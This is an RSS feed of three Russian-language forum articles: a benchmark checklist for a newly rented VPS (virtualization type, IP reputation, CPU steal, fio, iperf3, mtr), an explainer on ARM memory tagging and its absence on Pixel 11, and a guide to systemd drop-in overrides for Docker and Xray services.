<?xml version="1.0"?>
<rss version="2.0"><channel><title>RSS-Ya</title><link>https://openode.xyz/rss/1-rss-ya.xml/</link><description>New</description><language>ru</language><item><title>&#x412;&#x43E;&#x441;&#x435;&#x43C;&#x44C; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x440;&#x430;&#x441;&#x441;&#x43A;&#x430;&#x436;&#x443;&#x442; &#x43E; &#x43D;&#x43E;&#x432;&#x43E;&#x43C; VPS &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435;, &#x447;&#x435;&#x43C; &#x43A;&#x430;&#x440;&#x442;&#x43E;&#x447;&#x43A;&#x430; &#x442;&#x430;&#x440;&#x438;&#x444;&#x430;</title><link><![CDATA[https://openode.xyz/topic/2068-%D0%B2%D0%BE%D1%81%D0%B5%D0%BC%D1%8C-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4-%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5-%D1%80%D0%B0%D1%81%D1%81%D0%BA%D0%B0%D0%B6%D1%83%D1%82-%D0%BE-%D0%BD%D0%BE%D0%B2%D0%BE%D0%BC-vps-%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%B5-%D1%87%D0%B5%D0%BC-%D0%BA%D0%B0%D1%80%D1%82%D0%BE%D1%87%D0%BA%D0%B0-%D1%82%D0%B0%D1%80%D0%B8%D1%84%D0%B0/?do=findComment&comment=9240]]></link><description><![CDATA[Четыре обещания карточки тарифа и инструменты, которыми они проверяются

Карточка тарифа — это маркетинг. Вывод команды — это факт. Между ними обычно есть зазор, и узнать его размер удобнее всего в те первые часы, когда машина ещё пустая: нагрузки нет, измерения не искажены, а деньги при почасовой оплате или гарантии возврата пока можно забрать обратно. Потом на сервере появятся пользователи, и любые цифры начнут читаться как «ну, терпимо». 

Собрал восемь проверок, которые закрывают четыре главных обещания любого VPS-тарифа: процессор, диск, канал и адрес. Всё, кроме fio, укладывается в считанные минуты. 

⚠️ ОСТОРОЖНО Порядок здесь принципиален: сначала замеры, потом установка чего бы то ни было. Запущенный в фоне Xray сам создаёт нагрузку — и в статистике процессора, и в выводе iperf3. Мерить сервер поверх собственного сервиса означает мерить собственный сервис. 

Проверка, с которой всё начинается: а это точно виртуальная машина?

Под вывеской «VPS» продают две принципиально разные вещи. Одна — настоящая виртуалка со своим ядром. Вторая — контейнер, который делит ядро с соседями по хосту. Отличать их надо в первую очередь, потому что от ответа зависит, имеет ли смысл всё остальное. 

systemd-detect-virt

Утилита печатает название технологии виртуализации; код возврата 0 означает, что виртуализация найдена, ненулевой — что машина железная. Ответ kvm — хорошо. Ответы lxc, lxc-libvirt, openvz, podman — вы в контейнере. Когда слои вложены друг в друга, показывается самый внутренний, а ключи --vm и --container позволяют посмотреть на конкретный уровень. 

Схема по документации systemd-detect-virt и linuxcontainers.org

Разработчики LXC описывают задачу проекта так: «создать окружение, максимально близкое к обычной установке Linux, но без необходимости в отдельном ядре». Из отсутствия собственного ядра следует всё остальное. modprobe работать не будет. Ядерный WireGuard — а он живёт в mainline начиная с 5.6 — не поднимется. Сетевые sysctl либо доступны только на чтение, либо относятся ко всему хосту, и трогать их вам не позволят. Вывод nproc будет показывать процессоры физической машины, к которым вы отношения не имеете. 

❗ ГЛАВНОЕ Контейнер сам по себе не является мошенничеством. Как формат за пару долларов он честен и вполне годится под статический сайт, бота или зеркало репозитория. Проблема возникает тогда, когда машина покупалась под задачи, требующие модулей ядра, — и вот эту несостыковку стоит обнаружить в первый день, а не в тот момент, когда до запуска остаётся час. 

Сразу же посмотрите на TUN — без этого устройства не заработает ни один туннель: 

ls -l /dev/net/tun

Адрес достался вам не новым

Начну с самой дешёвой проверки, потому что она занимает минуту, а отменить покупку по её итогам иногда приходится. IPv4 выделен лично вам — но не выпущен из типографии сегодня. У адреса есть прошлое, и оно наследуется вместе с ним. 

dig -x 203.0.113.10 +short
dig +short 10.113.0.203.zen.spamhaus.org

Первый запрос вытаскивает PTR-запись. Отсутствие записи или чужое имя от прежнего арендатора гарантируют, что исходящая почта осядет в спаме. Второй запрос адресован зоне Zen, куда адрес подставляется задом наперёд. NXDOMAIN, то есть пустой ответ, означает отсутствие в списках. Коды же расшифровываются так: 127.0.0.2 — SBL, 127.0.0.3 — CSS, 127.0.0.4 — XBL, а 127.0.0.10 и 127.0.0.11 — две разновидности PBL. 

⚠️ ОСТОРОЖНО Отдельно запомните код 127.255.255.254 — «запрос через публичный резолвер». Это не приговор адресу, а отказ в обслуживании: запросы, пришедшие через 8.8.8.8, 1.1.1.1 и им подобные, Spamhaus не обрабатывает. Спрашивать надо у резолвера хостера либо через веб-форму, иначе вывод получится ложным. 

И последнее по адресу, но не по важности: убедитесь, что он вообще отвечает из той страны, ради которой сервер покупался. Для вас чистая подсеть и подсеть, где предыдущий сосед полгода собирал жалобы, выглядят одинаково — а для сети назначения нет. Внешний сервис вроде check-host.net закрывает этот вопрос за минуту, и эта минута отделяет спокойный возврат денег от полугода переписки с пользователями, у которых «не подключается». 

«2 vCPU» — это доля, а не ядро

Виртуальный процессор не равен физическому: вам продаётся доля процессорного времени, которую распределяет гипервизор. Какую её часть у вас забирают, показывает счётчик steal. 

vmstat 1 10

Man-страница определяет колонку st как «время, украденное у виртуальной машины», добавляя, что до ядра 2.6.11 оно попросту не учитывалось. Источник данных — восьмое поле строки cpu в /proc/stat; документация ядра называет его involuntary wait, вынужденным ожиданием. Проще говоря, это моменты, когда ваш процесс был готов исполняться, а такт физического ядра ушёл соседу. 


Значение stИнтерпретация
0–1 %Норма. Оверселлинга либо нет, либо соседи спят
2–5 %Терпимо для веб-сервера, заметно для прокси-ноды с TLS
5–15 %Ядро поделено плотно; под нагрузкой latency поедет
&gt; 15 % устойчивоВы платите за долю, которой не получаете


Эти границы — не норматив, а бытовой ориентир. Официально допустимого steal не существует нигде, да и ощущается одна и та же цифра по-разному: батч-задача её переживёт, интерактивный трафик — нет. Куда содержательнее не мгновенный процент, а его устойчивость: держится ли он десять минут кряду и воспроизводится ли вечером так же, как утром. 

📌 ЗАМЕТКА К соседней колонке wa (iowait) на виртуальной машине относитесь скептически. Формулировка в документации ядра недвусмысленна: «iowait ненадёжен при чтении из /proc/stat». Величина способна даже убывать, а на нескольких ядрах её корректный подсчёт затруднён. Диск оценивают не по ней, а через fio — к этому переходим ниже. 

Владельцам будущих TLS-узлов стоит дополнительно выяснить, прокинут ли внутрь аппаратный AES: 

grep -o -m1 -E 'aes|avx2' /proc/cpuinfo
openssl speed -evp aes-128-gcm -seconds 3

Штатная утилита openssl speed предназначена для измерения производительности криптоалгоритмов, а ключ -evp прогоняет шифр через EVP-интерфейс. Между AES-NI и программной реализацией разница измеряется не процентами, а кратностью, и на прокси-узле она напрямую задаёт потолок пропускной способности. Отсутствие флага aes в /proc/cpuinfo на тарифе, который продавали «под VPN», — законный повод для вопроса поддержке. 

Диск: чем плох популярный способ его «проверить»

Фраза «прогнал dd, всё летает» не говорит о диске ничего. Команда dd if=/dev/zero of=test bs=1M count=1024 пишет последовательно и складывает данные в страничный кэш, а отдельные файловые системы ещё и схлопывают нули. Измеренной в итоге окажется память хоста. 

⛔ ТАК ДЕЛАТЬ НЕЛЬЗЯ Ни dd, ни hdparm -t, ни «скачался файл быстро» бенчмарком хранилища не являются. Ни один из них не даёт случайной нагрузки с очередью запросов, а губит СУБД и логи панели именно она. Инструмент здесь один — fio с флагом --direct=1. 

apt install -y fio
fio --name=rr --filename=/root/fiotest --size=1G \
    --rw=randread --bs=4k --iodepth=32 --numjobs=4 \
    --direct=1 --ioengine=libaio --runtime=60 --time_based --group_reporting
rm -f /root/fiotest

Разберу ключи. Флаг --direct=1 переводит ввод-вывод в небуферизованный режим (O_DIRECT): запросы обходят страничный кэш, поэтому вы наблюдаете хранилище, а не оперативную память. Пара --bs=4k и --rw=randread задаёт случайное чтение четырёхкилобайтными блоками, что соответствует профилю базы данных, а не перекачки видеофайлов. Ключ --iodepth=32 удерживает очередь заполненной, а --time_based не позволяет тесту закончиться раньше шестидесятой секунды, даже когда гигабайт уже прочитан. 

В отчёте существенны два показателя: IOPS и хвост распределения задержек в блоке clat percentiles. Среднее значение обманчиво, смотреть надо на 99-й процентиль. Хранилище с приличными IOPS и сотнями миллисекунд на p99 обернётся панелью, которая периодически «подвисает» ровно на глазах у пользователя. 

Гигабитный порт — и где он заканчивается

Цифра в тарифе описывает скорость порта. Порт — это первый метр маршрута, а не весь маршрут. 

Схема на основе документации iperf3 и практики сетевой диагностики

Предлагаемый многими хостерами тест «скачайте файл с нашего соседнего сервера» подтверждает работоспособность виртуального адаптера — и ровно на этом его польза заканчивается. Осмысленная проверка стартует с публичного iperf3, стоящего в другой стране: 

apt install -y iperf3
iperf3 -c ping.online.net -p 5200 -t 20        # отдача
iperf3 -c ping.online.net -p 5200 -t 20 -R     # приём (reverse)

Список публичных площадок опубликован на iperf.fr, и там же приводится оговорка, экономящая полчаса недоумения: одновременно сервер обслуживает лишь одно подключение. Если занято — берите следующий порт диапазона либо другую локацию. Прогонять непременно оба направления: перекос вида «отдаёт 900, принимает 80» — фирменный признак перегруженного аплинка. 

Следом смотрим маршрут: 

mtr -rwzbc 100 1.1.1.1

ℹ️ СПРАВКА Сами по себе потери на промежуточных узлах в отчёте mtr ни о чём не свидетельствуют. Значительная часть маршрутизаторов сознательно понижает приоритет адресованных им же ICMP-ответов, продолжая при этом передавать транзитный трафик без единой потери. Выводы делаются исключительно по финальной строке: потери на пятом хопе при чистом последнем — штатная картина. 

Если серверу предстоит нести туннель, проверьте заодно MTU: 

ping -M do -s 1472 1.1.1.1

Полезная нагрузка 1472 байта вместе с 28 байтами заголовков даёт ровно 1500. Непрохождение пакета означает, что где-то по пути MTU ниже, а это будущие подвисающие TLS-хендшейки внутри туннеля. На такой случай в ядре предусмотрен параметр net.ipv4.tcp_mtu_probing: согласно документации, 0 — «выключено», 1 — «выключено по умолчанию, включается при обнаружении ICMP black hole», 2 — «всегда включено, начальный MSS берётся из tcp_base_mss». 

Наконец, стоит выяснить, есть ли у вас выбор алгоритма контроля перегрузки: 

sysctl net.ipv4.tcp_available_congestion_control

Документация ядра обещает присутствие одного лишь reno, остальное определяется конфигурацией сборки. Когда bbr в перечне отсутствует, а modprobe tcp_bbr не спасает, ответ почти наверняка находится в самом первом разделе — про виртуализацию. 

✅ КАК ПРАВИЛЬНО Короткий протокол приёмки, который имеет смысл прогнать до переезда чего-либо важного: systemd-detect-virt — KVM или контейнер; плюс ls -l /dev/net/tundig -x и запрос в Zen с резолвера хостераДоступность адреса из целевой страныvmstat 1 10 в разное время суток — устойчивость stgrep -o -m1 aes /proc/cpuinfo плюс openssl speed -evp aes-128-gcmfio, случайное чтение 4k, --direct=1 — IOPS и p99iperf3 в обе стороны до сервера в другой странеmtr -rwzbc 100 — читать последнюю строку

Что из намеренного считать браком

Далеко не всякая некрасивая цифра означает обман. Три процента steal на самом дешёвом тарифе — это ровно тот товар, за который заплачено: доля ядра стоит дешевле ядра, и иного никто не обещал. Двадцать тысяч IOPS вместо рекламных «до ста тысяч» тоже укладываются в норму, поскольку предлог «до» в маркетинге обозначает пиковую цифру хоста, а не вашу. 

Обращаться в поддержку разумно там, где обещание звучало конкретно и не выполнено: продавали KVM — выдали LXC; заявляли выделенный порт — а реальная скорость стабильно вдвое ниже в обоих направлениях; обещали NVMe — задержки соответствуют сетевому HDD. Во всех прочих ситуациях спор бесполезнее, чем архив: сохраните результаты замеров в заметку. Полгода спустя, когда сервер начнёт подтормаживать, вам будет с чем сравнивать. Наличие этих цифр — вся разница между «кажется, стало хуже» и «p99 вырос втрое с марта». 



Источники


Linux kernel documentation: /proc/stat — поля строки cpu, определение steal, ненадёжность iowait
man 8 vmstat — значение колонок us, sy, id, wa, st
man 1 systemd-detect-virt — типы виртуализации, --vm и --container, коды возврата
LXC Introduction — «окружение без отдельного ядра»
fio documentation — direct, iodepth, time_based, ioengine
openssl speed — -evp, -seconds, -multi
Kernel: ip-sysctl — tcp_congestion_control, tcp_mtu_probing
iperf.fr: публичные серверы iperf3
Spamhaus: DNSBL usage и коды возврата
WireGuard Installation


💬 ВОПРОС К СООБЩЕСТВУ Какой из замеров у вас чаще прочих ставил на сервере крест? У меня лидирует не steal и не диск, а перекос в iperf3: наружу летит, внутрь еле ползёт. Любопытно собрать чужие критерии «всё, оформляю возврат» — и услышать, случалось ли, что провайдер по предъявленным цифрам действительно переносил машину на другой хост.]]></description><pubDate>Mon, 31 Aug 2026 08:15:55 +0000</pubDate></item><item><title>&#x422;&#x435;&#x433;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x432; ARM: &#x43A;&#x430;&#x43A; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; MTE &#x438; &#x43F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x43D;&#x43E;&#x432;&#x44B;&#x439; Pixel &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x441;&#x44F; &#x431;&#x435;&#x437; &#x43D;&#x435;&#x451;</title><link><![CDATA[https://openode.xyz/topic/2067-%D1%82%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8-%D0%B2-arm-%D0%BA%D0%B0%D0%BA-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82-mte-%D0%B8-%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9-pixel-%D0%BE%D1%81%D1%82%D0%B0%D0%BB%D1%81%D1%8F-%D0%B1%D0%B5%D0%B7-%D0%BD%D0%B5%D1%91/?do=findComment&comment=9239]]></link><description><![CDATA[Тег занимает четыре бита и описывает шестнадцать байт памяти

Свежий флагман Google остался без функции, ради которой часть аудитории и покупала Pixel. 29 августа команда GrapheneOS объявила: работа над сборкой для Pixel 11 остановлена на полпути. Причину они назвали одной фразой — «We're unable to complete the port due to lack of support for ARM hardware memory tagging in software, firmware and near certainly hardware». Ни софт, ни прошивка тегирование памяти не поддерживают, и в кремнии его, судя по всему, тоже нет. 

Продажи Pixel 11 стартовали 20 августа, анонс состоялся восемью днями раньше. Предыдущие три поколения — восьмое, девятое и десятое — оставались, по сути, единственным серийным потребительским железом, где тегирование памяти не значилось в спецификации ARM теоретически, а было доведено до рабочего состояния. 

Телефоны тут интереснее как повод. Ниже — устройство самого механизма, его цена, его слабые места и ответ на вопрос, кого именно задевает пропажа. 

❗ ГЛАВНОЕ Тегирование памяти устроено как фундамент, а не как переключатель в меню безопасности. На него опираются загрузчик, ядро, аллокатор и прикладной код — все четыре уровня выше. Отсутствие фундамента ничем не компенсируется программно. 

Пять уровней, через которые проходит тегирование памяти

16 байт, 4 бита и одно сравнение

Расширение впервые описано для ядер архитектуры ARMv8.5 — так сказано в документации ядра Linux; материалы Android относят его к Armv9. Работает оно следующим образом. Вся физическая память разбивается на кусочки по шестнадцать байт, которые называются гранулами, и каждый такой кусочек получает собственную четырёхбитную метку. Ещё одна метка, логическая, прячется в самом указателе — под неё отведены биты с 59-го по 56-й виртуального адреса. Совпадение двух меток проверяется процессором на каждом доступе к памяти. 

Что сравнивается при каждом обращении в память

Посчитаем накладные расходы. На сто двадцать восемь бит полезных данных приходится четыре бита служебных, а это 3,125 % всей физической памяти, которые надо где-то разместить. Добавьте сюда доработку кэшей и тракта доступа к памяти — и станет понятно, что даром такая функция не достаётся. 

Из размера метки следует и главное ограничение. Четыре бита дают шестнадцать вариантов, поэтому повисший или уехавший в соседний объект указатель примерно в одном случае из шестнадцати угадает метку гранулы и спокойно пройдёт контроль. Речь идёт о вероятностном барьере, а не о жёсткой гарантии. 

Три режима и один флаг: взгляд со стороны ядра

О наличии поддержки ядро рассказывает флагом HWCAP2_MTE. Какой именно контроль включить, каждый процесс решает за себя вызовом prctl(PR_SET_TAGGED_ADDR_CTRL, ...). 


РежимЧто происходит при промахеДиагностикаГде применяют
PR_MTE_TCF_NONEпромах игнорируется, это режим по умолчаниюнеткод, не готовый к разметке
PR_MTE_TCF_SYNCнемедленный SIGSEGV с кодом SEGV_MTESERRточный адрес сбоя, аллокатор Android добавляет стеки выделения и освобожденияотладка, уязвимые поверхности атаки
PR_MTE_TCF_ASYNCSIGSEGV с кодом SEGV_MTEAERR при ближайшем входе в ядроадрес сбоя не сохраняетсяпродакшн, отлаженный код
асимметричныйчтения проверяются как в sync, записи — как в asyncкак у sync на чтенияхArmv8.7 и новее


Запросить асимметричный вариант напрямую не получится. Он достаётся процессу как побочный результат: если тот попросил сразу синхронный и асинхронный контроль, ядро вправе выдать асимметричный. Собственный порядок предпочтений у ядра выглядит как асинхронный, асимметричный, синхронный, однако предпочтительный режим, настроенный на процессоре, перебивает этот список. 

Узнать, есть ли поддержка на конкретном аппарате, можно одной строкой: 

adb shell grep mte /proc/cpuinfo
# Features : ... mte ...   — поддержка есть
# строки нет               — MTE недоступна

Для любой машины на aarch64 проверка не отличается: тот же файл, та же строка в Features. Если состояние нужно узнать изнутри процесса, подойдёт такой фрагмент: 

#include &lt;sys/prctl.h&gt;

int mode = prctl(PR_GET_TAGGED_ADDR_CTRL, 0, 0, 0, 0);
bool mte_on = (mode != -1) &amp;&amp; (mode &amp; PR_MTE_TCF_MASK);

Прослойка, о которой забывают: загрузчик и прошивка

Между кристаллом и ядром есть ещё один уровень. Прошивке SoC и загрузчику полагается объявить о доступности механизма и зарезервировать физическую память под сами метки. Оттого в заявлении GrapheneOS и перечислены три уровня подряд: «software, firmware and near certainly hardware». 

⚠️ ОСТОРОЖНО Официального объяснения пропажи не публиковалось. Экономия площади кристалла — гипотеза, которую разработчики GrapheneOS озвучили в обсуждении на Hacker News; со стороны Google комментариев по состоянию на 30 августа 2026 года не поступало. Отдельного внимания заслуживает оборот «near certainly»: даже те, кто столкнулся с проблемой раньше всех, не берутся стопроцентно утверждать, что виновато железо, а не прошивка. 

Метки расставляет вовсе не процессор

Задача процессора сводится к сравнению — раскладывать метки по гранулам должен аллокатор, и настоящий эффект появляется именно на этом уровне. У GrapheneOS роль аллокатора играет hardened_malloc, о котором в перечне возможностей проекта сказано: «hardware memory tagging for slab allocations (128k and below) providing probabilistic detection of all use-after-free and inter-object overflows». Внутри ядра метками пользуются slab, page_alloc и неисполняемый vmalloc, а в браузере Vanadium — основной аллокатор. 

Толк от этого измеряется не абстрактной защищённостью. Незаметное повреждение памяти превращается в шумное падение, у которого есть и адрес, и стек вызовов. Разработчики проекта в том же треде рассказывали, что подобные срабатывания приводили их к ошибкам в апстримном ядре Linux, — выигрыш достаётся не только пользователям одной прошивки. 

Со стороны приложения — один атрибут

Разработчику приложения подключение обходится почти бесплатно. Нативному коду в Android режим задают прямо в манифесте: 

&lt;application android:memtagMode="sync"
             tools:replace="android:memtagMode" /&gt;

Атрибут принимает значения off, default, sync и async, и повесить его допустимо не только на всё приложение, но и на конкретный &lt;process&gt;. Помимо манифеста существуют системное свойство arm64.memtag.process.&lt;basename&gt; и переменная окружения MEMTAG_OPTIONS, принимающие тот же набор значений. Метки на стеке — история отдельная: они требуют пересборки с инструментацией и работают начиная с Android 14 QPR3. 

-fsanitize=memtag -fno-omit-frame-pointer -march=armv8-a+memtag

✅ КАК ПРАВИЛЬНО Есть Pixel 8, 9 или 10 и собственный нативный код? Тогда стоит добавить android:memtagMode="sync" в app/src/debug/AndroidManifest.xml и просто погонять привычные сценарии. Синхронный контроль вернёт адрес сбоя вместе со стеками выделения и освобождения, а это самая дешёвая ловушка для use-after-free, которая иначе всплывёт у пользователя в виде «случайного» падения. 

Где механизм перестаёт работать

Слепая зона номер один — переполнение внутри гранулы. Пусть объекту выделено тридцать два байта, а занимает он двадцать: запись в хвост не покидает пределов той же шестнадцатибайтовой гранулы, метка остаётся прежней, контроль проходит успешно. Об этом честно предупреждает документация Android. Вторая зона уже упоминалась — примерно одно случайное совпадение меток на шестнадцать попыток. Третья связана с асинхронным режимом: его и ставят в продакшн ради минимальных накладных расходов, но адрес сбоя он не сохраняет, так что факт повреждения вы увидите, а точку — нет. Наконец, гонки, утечки, логика и всё происходящее в управляемом коде на Java или Kotlin лежат за пределами компетенции механизма: он занимается нативными кучей и стеком. 

🔒 БЕЗОПАСНОСТЬ Ни песочницу, ни ASLR, ни регулярные обновления тегирование памяти не отменяет. Его роль — сделать эксплуатацию use-after-free затратнее и заметнее. Дырявым аппарат без него не становится, неуязвимым с ним — тоже. 

Кому это действительно что-то меняет

Владелец обычного Pixel не заметит ничего, и деталь эта важна для понимания всей истории. Сама Google применяет механизм точечно: справка по Advanced Protection описывает его так — «Memory Tagging Extension (MTE): For supported apps, MTE will help prevent apps from corrupting memory. When MTE is on, you may experience slower device performance». Значит, речь о поддерживаемых приложениях в режиме усиленной защиты, а не о системной настройке по умолчанию. В обычном сценарии штатный Android на десятом и одиннадцатом Pixel ведёт себя одинаково. 

Ощутимой потеря становится там, где метки применялись повсеместно. У GrapheneOS вместе с нижним уровнем на новом железе пропадают сразу три вещи: разметка внутри ядра, аппаратные метки в hardened_malloc и защита браузерного аллокатора. Отменённым порт не считается — он просто не завершён, и никаких сроков не названо. 

Вывод, выходящий за рамки смартфонов: если memtag фигурирует в ваших планах на одноплатник или сервер с ARM, начните с проверки из раздела про ядро. Появится ли mte в списке Features, зависит от конкретного процессора и его прошивки, а не от свежести железа. 



Источники


GrapheneOS, пост от 29 августа 2026
Обсуждение на Hacker News
Документация ядра Linux: Memory Tagging Extension
Android NDK: Arm Memory Tagging Extension
AOSP: Arm Memory Tagging Extension
GrapheneOS: список функций
Справка Google по Advanced Protection
Характеристики и даты Pixel 11


💬 ВОПРОС К СООБЩЕСТВУ Попадалась ли кому-нибудь строка mte в /proc/cpuinfo за пределами Pixel 8, 9 и 10 — на сервере с ARM, одноплатнике, ноутбуке? И достаточный ли это повод держать защиту включённой в продакшне, если один промах из шестнадцати всё равно проходит незамеченным?]]></description><pubDate>Sun, 30 Aug 2026 08:16:53 +0000</pubDate></item><item><title>&#x41A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433; .d &#x440;&#x44F;&#x434;&#x43E;&#x43C; &#x441; &#x44E;&#x43D;&#x438;&#x442;&#x43E;&#x43C;: &#x43A;&#x430;&#x43A; systemd &#x441;&#x43A;&#x43B;&#x435;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44E; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x430; &#x438; &#x433;&#x434;&#x435; &#x43B;&#x43E;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F; ExecStart</title><link><![CDATA[https://openode.xyz/topic/2066-%D0%BA%D0%B0%D1%82%D0%B0%D0%BB%D0%BE%D0%B3-d-%D1%80%D1%8F%D0%B4%D0%BE%D0%BC-%D1%81-%D1%8E%D0%BD%D0%B8%D1%82%D0%BE%D0%BC-%D0%BA%D0%B0%D0%BA-systemd-%D1%81%D0%BA%D0%BB%D0%B5%D0%B8%D0%B2%D0%B0%D0%B5%D1%82-%D0%BA%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D1%8E-%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D0%B0-%D0%B8-%D0%B3%D0%B4%D0%B5-%D0%BB%D0%BE%D0%BC%D0%B0%D0%B5%D1%82%D1%81%D1%8F-execstart/?do=findComment&comment=9237]]></link><description><![CDATA[Каталог .d рядом с юнитом — единственная правка, которую не сотрёт пакетный менеджер

Знакомая ситуация: в юнит сервиса аккуратно вписана нужная строка, всё работает, а после очередного апдейта сервис ведёт себя так, будто правки не было. Так и есть — файл переписан установщиком. У Xray это /etc/systemd/system/xray.service, и разработчики честно оставили предупреждение внутри своего же вспомогательного файла: «Or all changes you made will be lost!». С юнитом Docker, приезжающим из пакета, произойдёт ровно то же самое. 

Копировать чужой юнит к себе и жить с копией — плохая стратегия: апстрим будет чинить свой файл, а у вас останется снимок двухлетней давности, о расхождении вы узнаете случайно. В systemd для этого предусмотрен отдельный механизм — drop-in, крошечный .conf, который меняет только интересующие вас строки. 

Из чего складывается конфигурация сервиса

Разобрав основной файл foo.service, менеджер идёт в одноимённый каталог foo.service.d/ и дочитывает оттуда всё, что оканчивается на .conf. Таких каталогов система знает три, и вес у них разный — от пакетного к пользовательскому: /usr/lib/systemd/system/, затем /run/systemd/system/, затем /etc/systemd/system/. Формулировка из systemd.unit(5): «Drop-in files in /etc/ take precedence over those in /run/ which in turn take precedence over those in /usr/lib/». 

А вот дальше начинается то, что регулярно упускают. Каталог не решает, кто применится позже: сортировка идёт по имени файла — «Multiple drop-in files with different names are applied in lexicographic order, regardless of which of the directories they reside in». Отсюда практическое следствие: файл override.conf из-под systemctl edit окажется поверх установочного 10-donot_touch_single_conf.conf, потому что в ASCII цифра меньше буквы. 

Схема по документации systemd.unit(5)

ℹ️ Справка Именами дело не ограничивается. Есть верхнеуровневый service.d/, который цепляется ко всем сервисам разом. Инстанс шаблона читает сначала foo@bar.service.d/, потом foo@.service.d/. А если в имени юнита есть дефисы, к списку добавляются укороченные каталоги — например foo-.service.d/. 

Случай первый: прокси для докерового демона

Файл ~/.docker/config.json демону не указ — он смотрит на переменные окружения собственного процесса. Поэтому в документации Docker описан именно drop-in: 

sudo mkdir -p /etc/systemd/system/docker.service.d
sudo tee /etc/systemd/system/docker.service.d/http-proxy.conf &gt;/dev/null &lt;&lt;'EOF'
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:3128"
Environment="HTTPS_PROXY=http://proxy.example.com:3128"
Environment="NO_PROXY=localhost,127.0.0.1,.corp"
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

Убедиться в результате помогает systemctl show --property=Environment docker — ожидаемый ответ содержит все три пары в одной строке. Ничего не вывелось? Либо промахнулись каталогом, либо забыли про daemon-reload. Rootless-инсталляции работают по тому же принципу, но каталог лежит в домашней директории — ~/.config/systemd/user/docker.service.d/, а sudo меняется на флаг --user. 

Случай второй: другая команда запуска и пустая строка перед ней

На этом месте спотыкаются чаще всего. Директива ExecStart= относится к накапливающимся: ваша строка не вытеснит исходную, а встанет рядом с ней. При этом в systemd.service(5) записано жёсткое условие — «Unless Type= is oneshot, exactly one command must be given». Для обычного сервиса второй команды достаточно, чтобы юнит отказался загружаться. 

Лечится это обнулением списка перед новым значением, что документация подтверждает прямо: «If the empty string is assigned to this option, the list of commands to start is reset». Выглядит так: 

[Service]
ExecStart=
ExecStart=/usr/local/bin/xray run -confdir /usr/local/etc/xray/

Ровно этот приём использует и сам установщик Xray в своём drop-in — сперва пустое присваивание, следом рабочая команда. Правило универсально: ExecStartPre=, Environment=, After= ведут себя точно так же. 

⛔ Так делать нельзя Каталог /usr/lib/systemd/system/ отдан пакетному менеджеру — редактировать лежащие там юниты бессмысленно. Второй антипаттерн мягче, но вреднее вдолгую: тянуть весь юнит целиком через systemctl edit --full ради одной директивы. Полная копия перестаёт получать апстримные исправления, и обнаружится это на первом же релизе, который что-то поменял внутри. 

Случай третий: лимиты и рестарт — обнуление не требуется

Такие директивы одиночные, побеждает последнее присвоенное значение. 

sudo systemctl edit --drop-in=90-limits.conf xray.service

[Service]
LimitNOFILE=1048576
Restart=always
RestartSec=5

Отдельная команда перезагрузки после systemctl edit не нужна: выход из редактора уже делает действие, «equivalent to systemctl daemon-reload». Смотреть при этом стоит не в файл, а на то, что получил менеджер: systemctl show -p LimitNOFILE -p Restart xray.service. Кстати, применительно к Xray дескрипторы трогать смысла мало — установщик и так задаёт LimitNOFILE=1000000 вместе с LimitNPROC=10000; куда чаще правят Restart=on-failure, переводя его в always. 

✅ Как правильно После каждой правки — три команды: systemctl cat xray.service — основной файл плюс все drop-in с путями, в порядке применения;systemd-analyze verify xray.service — синтаксис до того, как сервис не поднимется;systemd-delta — общесистемная картина: что чем перекрыто.

⚠️ Осторожно Команда systemctl revert xray.service возвращает вендорское состояние, но вместе с этим уносит весь каталог xray.service.d/ — включая файлы, которые положили не вы. Применительно к Xray это потеря 10-donot_touch_*.conf с путём к конфигу. Чтобы убрать только собственную правку, достаточно удалить свой файл и выполнить daemon-reload. 

Есть ещё режим, о котором вспоминают редко, — флаг --runtime. Изменение записывается в /run/systemd/system/ и живёт до перезагрузки. Пригодится, когда сервис нужно на полчаса перевести в Restart=no и при этом ничего после себя не оставить. 



Источники


systemd.unit(5) — каталоги drop-in, приоритет и лексикографический порядок
systemd.service(5) — сброс ExecStart= пустым присваиванием
systemctl(1) — edit, --drop-in=, --runtime, revert, cat
Docker Docs: Configure the daemon to use a proxy
XTLS/Xray-install: install-release.sh


